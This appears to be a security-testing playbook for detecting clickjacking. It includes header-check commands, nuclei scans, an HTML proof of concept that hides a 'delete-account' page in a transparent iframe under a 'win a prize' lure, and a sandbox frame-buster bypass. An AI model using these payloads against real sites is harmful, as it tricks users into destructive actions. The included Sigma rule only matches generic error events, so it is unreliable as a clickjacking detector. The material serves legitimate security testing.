<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: detecting-clickjacking-vulnerabilities
description: >-
  Detect clickjacking vulnerabilities by testing for missing or misconfigured
  X-Frame-Options and CSP frame-ancestors directives, verifying iframe
  embedding restrictions, and validating frame-busting JavaScript
  implementations against bypass techniques.
domain: cybersecurity
subdomain: application-security
tags:
  - clickjacking
  - ui-redressing
  - x-frame-options
  - frame-ancestors
  - owasp-a04
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1189", "T1204.001"]
  owasp-top10: ["A04"]
  tools: ["curl", "burpsuite", "nuclei", "chrome"]
---

# Detecting Clickjacking Vulnerabilities

## Overview

Clickjacking (UI redressing) tricks users into clicking hidden elements by
overlaying transparent iframes. Defenses include X-Frame-Options header,
CSP frame-ancestors directive, and JavaScript frame-busters. Testing
verifies these controls are present and correctly configured.

## Prerequisites

- Tools: curl, Burp Suite, nuclei, web browser
- Target URL with authenticated actions
- HTML editor for PoC creation

## Workflow

### Step 1: Check Framing Headers

```bash
# Check X-Frame-Options
curl -s -D- -o /dev/null https://target.com/ | \
  grep -i 'x-frame-options'

# Check CSP frame-ancestors
curl -s -D- -o /dev/null https://target.com/ | \
  grep -i 'content-security-policy' | grep -o 'frame-ancestors[^;]*'

# Bulk check multiple pages
for path in / /login /settings /account /admin; do
  echo "--- $path ---"
  curl -s -D- -o /dev/null "https://target.com$path" | \
    grep -iE 'x-frame-options|frame-ancestors'
done
```

### Step 2: Automated Scanning

```bash
# Nuclei clickjacking templates
nuclei -u https://target.com -t http/misconfiguration/clickjacking/ -json

# Scan multiple endpoints
nuclei -l urls.txt -t http/misconfiguration/clickjacking/ -o results.json
```

### Step 3: Generate Clickjacking PoC

```html
<!-- clickjack_poc.html -->
<html>
<head><title>Clickjacking PoC</title></head>
<body>
<h1>Click the button below to win a prize!</h1>
<div style="position:relative; width:500px; height:500px;">
  <iframe src="https://target.com/settings/delete-account"
    style="position:absolute; top:0; left:0; width:100%;
    height:100%; opacity:0.0001; z-index:2;">
  </iframe>
  <button style="position:absolute; top:200px; left:150px;
    z-index:1; padding:20px; font-size:20px;">
    Click Here!
  </button>
</div>
</body>
</html>
```

### Step 4: Test Frame-Buster Bypasses

```html
<!-- Sandbox attribute disables JavaScript frame-busters -->
<iframe src="https://target.com/"
  sandbox="allow-forms allow-scripts"
  style="width:100%; height:600px;">
</iframe>
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Missing X-Frame-Options | Response headers | Pages without framing protection |
| frame-ancestors too permissive | CSP header | Allows framing from untrusted origins |
| Iframe embedding attempts | Referrer logs | External sites embedding target pages |

```yaml
title: Clickjacking Vulnerabilities Detection
id: 4c64de47-c259-4013-ac03-36cc9679ec6f
status: experimental
description: Detects suspicious activity related to detecting clickjacking vulnerabilities techniques in application security context
logsource:
  category: application
  product: webserver
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1189
  - attack.t1204.001
  - attack.initial_access
falsepositives:
  - Application security scanning tools during CI/CD pipeline execution
```

## Verification

- [ ] X-Frame-Options header present on all sensitive pages
- [ ] CSP frame-ancestors configured (preferred over XFO)
- [ ] PoC demonstrates iframe embedding fails
- [ ] Frame-buster JavaScript tested against sandbox bypass
- [ ] State-changing actions require anti-CSRF tokens

## References

- [OWASP Clickjacking Defense](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
- [PortSwigger Clickjacking](https://portswigger.net/web-security/clickjacking)
- [MDN X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)
